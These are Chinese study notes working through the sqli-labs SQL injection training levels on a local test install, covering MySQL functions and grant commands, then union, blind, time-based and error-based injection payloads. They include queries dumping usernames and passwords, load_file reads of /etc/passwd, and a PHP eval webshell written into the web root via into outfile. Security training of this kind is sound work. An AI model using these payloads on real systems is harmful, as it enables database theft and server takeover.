hex()和unhex(): 有一些注入点由于数据库中数据字段类型定义,可以不支持union来显示某些不同类型的内容,所以使用hex对数据进行hex编码,例如 union select hex(password) from mysql.user注入出来的数据全是0x1234abc类似的数据,再次转回数据即可
load_file(): 这是mysql以文本读取文件的参数 例如:linux系统的网站load_file('/etc/passwd')或者windows系统的网站load_file('c:boot.ini'),这个参数的前提是你的user()用户在mysql.user表中的字段file_priv设置为Y.但是要注意的是如果为windows系统,保险起见将路径设置为双斜杠\\,目的是为了防止转义 很多时候php的网站会设置gpf为on,对特殊字符自动转义.那么load_file('c:boot.ini')就变成 load_file(\'c:\\\\boot.ini\')出现语法错误解决方法就是将c:\\boot.ini进行hex编码,得到0x633a5c5c6 将原句修改为 union select 1,load_file(0x12424324),接可以使用load_file参数后面不加'
select xxoo into outfile '路径' : 写文件
常用命令
查询所有用户 select Host,User,Password from user;
查询用户权限:all表示所有权限,select表示只查穿线,update表示只改权限,delete表示只删权限 show grants for "user"@"host"; show grants for "root"@"localhost";
添加授权用户(新创建的用户,默认情况下是没有任何权限的):使用root用户连接到服务器 create user "用户名"@"IP地址" indentified by "密码"; create user "haidon"@"%" identified by "123456"; create user "haidpm"@"loaclhost" identified by "123456"; IP地址表示方法: % 表示用户可以从任何地址连接到服务器 localhost 表示用户只能从本地连接到服务器 指定一个ip表示用户只能从此ip连接到服务器
分配用户权限(给用户授权) grant 权限列表 on 库.表 to "用户名"@"ip地址" with grant option; grant all privileges on *.* to "haidon"@"%" with grant option; grant all privileges on *.* to "haidon"@"%" identified by 'test' with grant option; grant all privileges on domain_check.tb_user to "haidon"@"localhost" with grant option; grant select on domain_check.tb_user to "haidon"@"localhost" with grant option; grant select,insert on domain_check.tb_user to "haidon"@"132.24.98.25" with grant option; 1.权限列表:select、update、delete、insert、alter、drop、create、...(show) 2.库.表:*.*表示所有库的所有表。with grant option表示它具有grant权限。密码是test。 3.如果带了 with grant option,那么用户haidon可以将select ,update权限传递给其他用户( 如xiaodon)。 4.如果没带 with grant option,那么用户haidon不能给用户xiaodon授权。 5.all后面加上privileges,具体到哪些权限时得看MySQL版本,5.7版本不加privileges,8.0版本加privileges。
6. insert into user values("%","haidon",password("test"),"Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"); flush privileges; 这两句和上面第3句grant的效果是一样的。
7.insert into user (host,user) values("132.24.98.25","haidon"); insert into db values("132.24.98.25","haidon","Y","Y","Y","Y","Y","Y","N","N","N","N") flush privileges; 这三句和上面第6句grant的效果是一样的。
收回用户权限 revoke all on *.* from "haidon"@"localhost"; revoke all on domain_check.tb_user from "haidon"@"localhost"; revoke select on *.* from "haidon"@"localhost"; 删除授权用户 drop user "用户名"@"ip地址" drop user "haidon"@"%" delete from user where user='haidon'; flush privileges;
less-1获取-基于错误-单引号-字符串
id后加一个’出现报错语句
http://127.0.0.1/sqlilabs/Less-1/?id=1'
那么我们需要去掉多余的’接使用
1'or 1=1--+
#是%23 空格时%20 ‘是%27 + 是空格
当分别尝试?id=1 ?id=1’ ?id=1” 为什么只有?id=1’ 报错? 那是因为Mysql查询并不严格, 而在select * from users where id=’1’’ limit 0,1 中有一个单引号没有闭合而报错,而在select * from users where id=’1” ‘ limit 0,1 中虽然多了一个双引号,但mysql查询时会把它当成两个单引号,而这两个单引号又闭合了,所以查询时不会报错
根据报错猜测sql语句应该是
select username,password from users where id='$_GET[id]' limit 0,1;
那么当我们传入1’时
得到
select username,password from users where id='1'' limit 0,1;
接着爆数据库 id=-1'union select 1,group_concat(schema_name),3 from information_schema.schemata--+
爆表名 id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
爆字段名 id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
爆数据名 id=-1'union select 1,group_concat(username,password),3 from security.users--+ id=-1'union select 1,group_concat(username,password),3 from users--+
less-2获取-基于错误-基于整数
当尝试id=1 id=1’ id=1” 发现 id=1’ id=1”报错,这说明是数字型注入
这里相比于less1的sql语句
select username,password from users where id=$_GET[id] limit 0,1
可以尝试
id=1 and 1=1--+ 正常 id=-1 or 1=1--+ 正常 id=1 and 1=2--+ 报错 id=-1 or 1=2--+ 报错
接下来就是注入数据了
id=1 order by 4--+ id=1 order by 3--+ id=-1 union select 1,2,3--+ id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata--+
id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security"--+
id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users"--+
id=-1 union select 1,group_concat(username,password),3 from users--+
less-3基于错误-带括号的单引号字符串
看起来是单引号外面又加了一个圆括号
源码
select * from users where id=('$id') limit 0,1;
?id=')--+
注入数据
id=1') order by 4--+ id=1') order by 3--+ id=-1') union select 1,2,3--+ id=-1')union select 1,group_concat(schema_name),3 from information_schema.schemata--+
id=-1')union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security"--+
id=-1')union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users"--+
id=-1')union select 1,group_concat(username,password),3 from users--+
less-4基于错误的GET双引号字符型注入
源码
select * from users where ("id") limit 0,1;
直接闭合注入
id=1")
注入数据
id=1") order by 4--+ id=1") order by 3--+ id=-1") union select 1,2,3--+ id=-1")union select 1,group_concat(schema_name),3 from information_schema.schemata--+
id=-1")union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security"--+
id=-1")union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users"--+
id=-1")union select 1,group_concat(username,password),3 from users--+
less-5双注入GET单引号字符型注入
这里先经过简单尝试发现有注入并且是’闭合
布尔盲注
测试一下
id=1' and 1=1--+ 回显you are in.... id=1' and 1=2--+ 无回显
因此当查询语句正确是返回you are in…错误时无回显
数据库长度
id=1'and length(database())=8--+ 回显you are in.... id=1'and length(database())=7--+ 无回显
说明数据库长度是8
那么接下来就可以写脚本来查询数据了
注意这里还可以使用其他类似的函数去截取数据,如substr,和ascii返回ascii值
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))='a'-- #
延时注入
sleep()函数
id=1' and If(ascii(substr(database(),1,1))=115,1,sleep(5))-- # 当正确时无明显延迟,错误有明显延迟
benchmakrk()函数
id=1' UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as current) as tb1-- #
双查询注入
这里我们使用的语句
id=-1'union select count(*),count(*), concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
id=-1'union select count(*),count(*), concat('~',(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+ 这里修改limit x,1可以遍历数据
?id=-1' union select count(*),1, concat('~',(select column_name from information_schema.columns where table_name='users' limit 4,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
?id=-1' union select count(*),1, concat('~',(select concat_ws('|||',password,username) from users limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
请注意这个方法是有一定概率的,所以要多试几次
报错注入
id=1' union Select 1,count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand(0)*2)) as a from information_schema.columns group by a-- #
id=1' union Select 1,count(*),concat(0x3a,0x3a,(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),0x3a,0x3a,floor(rand(0)*2)) as a from information_schema.columns group by a-- #
id=1' union Select 1,count(*),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name='users' limit 4,1),0x3a,0x3a,floor(rand(0)*2)) as a from information_schema.columns group by a-- #
1' union Select 1,count(*),concat(0x3a,0x3a,(select concat_ws('|||',password,username) from users limit 1,1),0x3a,0x3a,floor(rand(0)*2)) as a from information_schema.columns group by a-- #
利用 double 数值类型超出范围进行报错注入
存疑,注不出来哦,推测可能是数据库版本问题,回头再说 id=1' union select (exp(~(select * FROM (SELECT USER())a))),2,3-- #
利用 bigint 溢出进行报错注入
也不行哦 id=1' union select (!(select * from (select user())x)-~0),2,3-- #
xpath 函数报错注入
id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))-- #
id=1' and extractvalue(1,concat(0x7e,(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),0x7e))-- #
id=1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 4,1),0x7e))-- #
id=1' and extractvalue(1,concat(0x7e,(select concat_ws('|||',password,username) from users limit 1,1),0x7e))-- #
利用数据的重复性
id=1' union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x-- # 不会注,咋办
less-6双注入-双引号-字符串
这关与上一关基本一致,只是闭合方式变成了”
id=1 正常 id=1' 正常 id=1" 错误 use near '"1"" LIMIT 0,1' at line 1
less-7导入文件 -字符串
提示已经很明显了,写文件进去
id=1 正常 id=1' 错误 You have an error in your SQL syntax id=1" 正确 是单引号闭合,接着测试 id=1' and 1=1--+ 报错,说明不止有单引号闭合 id=1') and 1=1--+ 报错,说明不止一个括号 id=1')) and 1=1--+ 正常,说明是一个单引号加两个括号闭合
这里接下来可以使用布尔盲注,也可以使用时间盲注,
布尔盲注
id=1'))and length(database())=8--+ 回显You are in.... Use outfile...... id=1'))and length(database())=0--+ 回显You have an error in your SQL syntax
http://127.0.0.1/sqlilabs/Less-1/?id=-1' union select 1,2,@@datadir--+ 回显 Your Password:D:\Data\secquan\tools\Environment\PhpStudy\PHPTutorial\MySQL\data\ 这里我在sqlilabs目录下面新建了一个file目录用来写入数据 D:\Data\secquan\tools\Environment\PhpStudy\PHPTutorial\WWW\sqlilabs\file
读写权限测试
id=1'))and (select count(*) from mysql.user)>0 --+ 回显正常 You are in.... Use outfile......
id=-1')) union select 1,2,"<?php @eval($_POST['zf']);?>" into outfile "D:\\Data\\secquan\\tools\\Environment\\PhpStudy\\PHPTutorial\\WWW\\sqlilabs\\file\\zf.php" -- # 这里可以发现当使用''单引号时发现写不进去,使用""双引号时可以写进去,接着连接就好
less-8盲注-基于布尔值单引号
基本测试说明是单引号闭合
id=1' and 1=1--+ 回显正常
id=1' union Select 1,count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand(0)*2)) as a from information_schema.columns group by a-- # 回显错误
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^u[a-z]' limit 0,1);是正确的
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);是正确的
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^em[a-z]' limit 0,1);是正确的
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 1,1);不正确
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^em[a-z]' limit 1,1);不正确
▲select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) from information_schema.columns group by a;
//explain:此处有三个点,一是需要 count 计数,二是 floor,取得 0 or 1,进行数据的重复,三是 group by 进行分组,但具体原理解释不是很通,大致原理为分组后数据计数时重复造成的错误。也有解释为 mysql 的 bug 的问题。但是此处需要将 rand(0),rand()需要多试几次才行。
以上语句可以简化成如下的形式。
select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))
如果关键的表被禁用了,可以使用这种形式
select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))
如果 rand 被禁用了可以使用用户变量来报错
select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)